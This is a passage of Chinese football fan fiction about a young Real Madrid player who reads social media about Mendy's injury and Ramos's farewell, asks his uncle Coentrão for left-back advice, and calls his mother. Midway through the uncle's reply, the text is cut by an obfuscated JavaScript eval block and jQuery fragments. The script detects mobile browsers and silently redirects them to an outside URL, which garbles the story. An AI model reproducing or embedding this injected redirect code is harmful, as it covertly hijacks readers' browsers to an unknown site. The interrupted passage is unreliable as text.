“突发：门迪大腿后侧拉伤，将无缘皇马对阵拜仁的欧冠比赛”


    伯尼靠在床头，手指一动点开这条IG推送，配图是一张门迪弯着腰手撑膝盖的照片，而他叉腰站在门迪旁边，皱着眉头向场边望。


    他往下拉，看见评论区哀嚎一片——


    “这时候伤？？？我们就差这一场了啊……”


    “又是伤病潮。”


    “拜仁肯定打这一边，真的完了……”


    被推到最高赞的是一条分析：


    “中卫还能顶，问题全在边路。吕迪格+纳乔没问题，但左后卫没有稳定解法。?卡马文加如果回不来，这一侧会被重点针对。?再加上卡瓦哈尔情况也不明朗，这条防线其实已经在极限运转了……”


    伯尼默默点头，点开这条下面的99+回复，一行行字像是草丛里的响尾蛇一样倏地窜到他脸上——


    “要不伯尼或者巴尔韦德顶一下？往后挪一挪也不是不能用，左边一个，右边巴斯克斯先顶着呗”


    “不行吧……伯尼那身板感觉扛不住萨内啊……”


    “真要在这俩里选的话我还是选伯尼吧，他至少没人研究过，巴尔韦德进攻属性太重了，防守真不太放心！”


    “皇马已经缺人缺到要从中场里拉人去踢边后卫了吗…？”


    伯尼下意识一摁关机键，手机屏幕映出他自己的脸，面如菜色，嘴角紧绷成一条横线。


    他仰起头去看墙顶的吊灯，后脑勺“砰”地靠在床头靠背上，长叹一口气：


    “唉——”


    伯尼脑海里的思绪像毛线团一样纠结在一起，唯一一个清晰可见的念头是：


    教练该不会真的让我去踢左后卫吧？


    真不行，他从小就没踢过那位置。


    伯尼闭上眼睛，想象自己站在门迪的位置上，抬头是一个暴趟准备过人的萨内，远处是在跑空位的基米希……


    光想想就感觉脸颊发热，气血倒流。


    伯尼打开Whatsapp, 点开他舅舅的头像，一张中年男人背靠大海的沧桑自拍，窄而长的脸上只能看见墨镜，两排白牙，和像海草一样飞扬的头发。


    他开始噼里啪啦打字：


    “能不能传授一下你踢左后卫的经验和诀窍？谢谢（笑脸）”


    消息发过去两分钟，他舅舅头像旁的小圆点依旧暗淡，伯尼扫了一眼屏幕右上角，23:40。


    他又回到IG，手向下一划——


    @madridistas(马德里主义者）：


    bro just passing by?


    (哥们只是路过一下。）


    配图是楚阿梅尼走过正额头顶着额头角力的拉莫斯和吕迪格的瞬间，挤在他们背后劝架的两队球员都成了虚化的背影，伯尼看见自己的后脑勺和巴尔韦德的背影，而楚阿梅尼仰着头，表情淡定，眼神像云一样飘向远方……


    伯尼笑得在床上一滚，点开评论区：


    “楚阿梅尼：不关我事”


    “两个人都快打起来了，这哥们甚至没停一下……”


    “让他站哪边？？前队长vs队友，lol”


    伯尼抱着手机在床上一滚，咧着嘴角一边傻乐一边继续往下划，映入眼帘的是拉莫斯的脸。


    “拉莫斯告别皇马演讲”


    在嘈杂而带着电流声的话筒收音中，而拉莫斯穿着一身西装坐在桌前，背后是带着皇马、奥迪和阿迪达斯LOGO的背景墙。


    他感觉拉莫斯嘴角的笑容像是被后期生硬P上去的一个小小像素点，他眼睛看着镜头，却又不像是在看镜头：


    “这是我人生中最艰难的时刻之一，人生永远无法真正准备好告别。十六年前我来到皇家马德里，而现在，是时候说再见了。”


    拉莫斯低头抹了抹眼角。


    “发生了很多事。首先，我想澄清，我从未想过离开皇家马德里，我一直想留在这里。具体来说：去年夺冠后，俱乐部提出与我续约，由于疫情，一切都被推迟了，俱乐部给我提供了一份为期一年的合同，但我想要两年，我在球场上的表现配得上这份合同。钱从来都不是问题，我接受了降薪，然后他们告诉我没有新的续约合同了，时间到期了。他们事先并没有告诉我这一点。”


    画面里闪过佩雷斯·弗洛伦蒂诺的脸，厚镜片像是泛冷光的玻璃，眉头拧成一座小山，脸上的皱纹从嘴角挂落。


    “我本想在我们的主场告别。但无论如何！这样的告别已经很好了……谢谢大家，再见，我希望我会回来的，非常感谢！”


    拉莫斯用右手捂着胸口鞠躬，疏疏落落的掌声响起，他低头离场，走过那4座闪闪发亮的大耳朵奖杯。


    然后画面又回到最开头，拉莫斯手撑在桌上望向镜头，仓促、不甘、失落的神情，发亮的眼神里有太多东西。


    伯尼感觉心里有点闷，给视频点了个赞后继续向下划，下一个还是关于拉莫斯的视频。


    漂亮的头球破门，拉莫斯飞奔到场边，对着镜头摊开左手，右手在左手手心点了几下，然后把右手贴在脸旁边，比了个打电话的手势，又对着镜头伸出两根手指。


    背景音乐激昂澎湃，伯尼看到这里才意识到他穿着塞维利亚的球衣，视线往下看文案：


    “拉莫斯：我请求了他们两次想回到马德里，两次……但他们两次都挂了我的电话，毫不犹豫拒绝了我，他们都忘记了我曾经的付出。”


    伯尼已经不想继续看了，眼前浮现出今天下午和拉莫斯的拥抱，还记得他大力拍着他的背，笑着问他：


    “……科恩特朗？你舅舅是法比奥·科恩特朗？“他这几年怎么样？我很久没见他了。他以前训练完总是第一个走，也不说话，就那么走了，你跟他像吗？”


    伯纳乌是五彩泡泡一样包裹住热忱和梦想，而球场外的一切都真实得像是泡泡破裂时溅进眼角的肥皂水。


    他躺在床上换了个姿势，大拇指飞速从下往上掠过屏幕，却还是看见了那条被赞到溢出的评论——


    “毫无人情味的俱乐部，但也注定了他们在竞技层面的伟大。”


    伯尼眨眨眼，胸腔里那口浊气慢慢吐出来，蔓延到卧室的空气中，晕染进床头的橘光里。


    ……无可辩驳，无话可说。


    “叮！”他的Whatsapp收到一条短信。


    Tio Fabio(法比奥舅舅）：


    “我踢左后卫那时候，中间是佩佩，我被过了，他会出来，不是补，是直接把人停下来。


    右边是拉莫斯，我基本不用回头看身后，他比我快。


    前面是克里斯蒂亚诺，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413364|199092||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我把球给过去，就可以往回走了，剩下的，他自己解决。


    中场还有人，阿隆索，我站错一步，他会喊，站对了，他已经把球给过来了。


    所以……你想问哪方面的经验啊？”


    伯尼坐起来捧着手机，翻来覆去读了一分钟，半张着嘴，羡慕得脑补都脑补不出来，想想自己踹亚马尔吃到的那张黄牌，又想想门迪那双排牙的笑容。


    ……好羡慕啊！


    他沉默良久，才回了一个捂脸哭的表情，又问：“我们30号在慕尼黑比赛，你要来看吗？”


    “不，我懒得来。你问问你妈妈吧。”


    伯尼耸耸肩，他在皇马这两年，他舅舅从没来伯纳乌看过他一次，他甚至怀疑他舅舅基本不看球了。


    ……为什么呢？


    心底的疑问像是汤锅里的泡泡一样浮起来，又“咕噜咕噜”地破裂。


    伯尼给妈妈打去了视频电话，等了几秒就接通了，映入眼帘的是她的笑脸，眼睛圆圆的，卷头发凌乱地扎在耳后。


    “这么晚还不睡觉给我打电话干嘛？快看我在家里找到了什么——”


    镜头一转，像俯冲的火车头一样掠过熟悉的木地板、房门，冲向阳台。


    伯尼趁机靠着床头坐好，看见右上角的小方框里自己的脸，双下巴，鼻孔对着前置摄像头，问：“什么？”


    镜头稳定下来，他听见妈妈兴致颇高的声音：


    “我今天整理房间的时候，翻到你小时候那几件球衣了！质量还挺好的，我刚洗了一下，看起来跟新的一样！”


    伯尼感觉手里这个能穿梭时间的“任意门”在变魔法，他不可置信地眨了眨眼睛。


    视频的另一端对准了夜色中的晾衣绳，靠在细细的铁栏杆外面，仅被室内的一点光源照亮，在晚风中徐徐地荡。


    他一眼就看见了里奥阿维的那件条纹球衣，草绿色在夜色中显得深沉，细细长长的，像是一截窗帘布，又像是一截被剪断的包装礼物的缎带。


    “要是罗罗想去踢球的话，还能继续穿……还有这双足球鞋——你还记得吗？是你舅舅给你买的，你当时很喜欢！”


    他妈妈把镜头对准了阳台的地面，他看见那双阿迪达斯Goletto足球鞋，鞋尖落在阴影里，鞋口像是两张变形的嘴巴，凹凸起伏地躺在地上。


    伯尼看见小方框里自己呆滞的表情，橘色的床头灯洒在屏幕里，晒得耳朵也发烫。


    他下意识回道：“当然记得……罗罗怎么可能踢球？他连游戏都玩不过来。”


    他想起罗罗肉乎乎的小脸，不禁笑了一下，连他爸都不踢球了，谁还会陪他踢呢？


    他妈妈笑着又说了什么，镜头混乱地转折，伯尼看见他外婆的狗，看见家里新添的几盆植物，看见他妈妈的缝纫机，和角落里摞得高高的布料。


    “……去德国看你比赛？那你外婆的裁缝店谁看着？这又不是说走就走的，既然是工作，就不能干两天歇两天的。你好好踢球，我也把我的活干好，下次再去，不也一样嘛？”


    伯尼放松地靠在床头，眼皮慢慢变得沉重，脑中的思绪像海上的小船一样浮浮沉沉的。


    去他的左后卫，谁爱踢谁踢吧。


    他得早点睡觉，明后天还要训练，大后天就要飞慕尼黑了。


    晚安。